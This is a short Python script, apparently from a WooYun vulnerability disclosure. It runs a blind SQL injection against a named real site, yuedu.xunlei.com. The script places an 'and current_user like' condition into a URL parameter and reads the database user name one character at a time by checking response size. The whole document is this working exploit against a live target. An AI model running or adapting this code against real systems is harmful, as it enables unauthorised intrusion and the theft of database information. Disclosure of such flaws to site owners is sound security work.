WooYun.org

#encoding=gbk
import urllib2
import sys
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
user = ''
result = ''
for i in range(1,15):
    for payload in payloads:
        s = hex(ord(payload)).replace('0x','')
        url = 'http://yuedu.xunlei.com/?action=lists&cid=3&typeid=1 and current_user like 0x%s%s25' % (result,s)
        request = urllib2.Request(url)
        response = urllib2.urlopen(request).read()
        if(len(response)<130000):
            print '.',
        else:
            result += s
            user += payload
            sys.stdout.write('\r[In progress] %s' % user)
            sys.stdout.flush()
            break
print '\n[Done]MySQL user is', user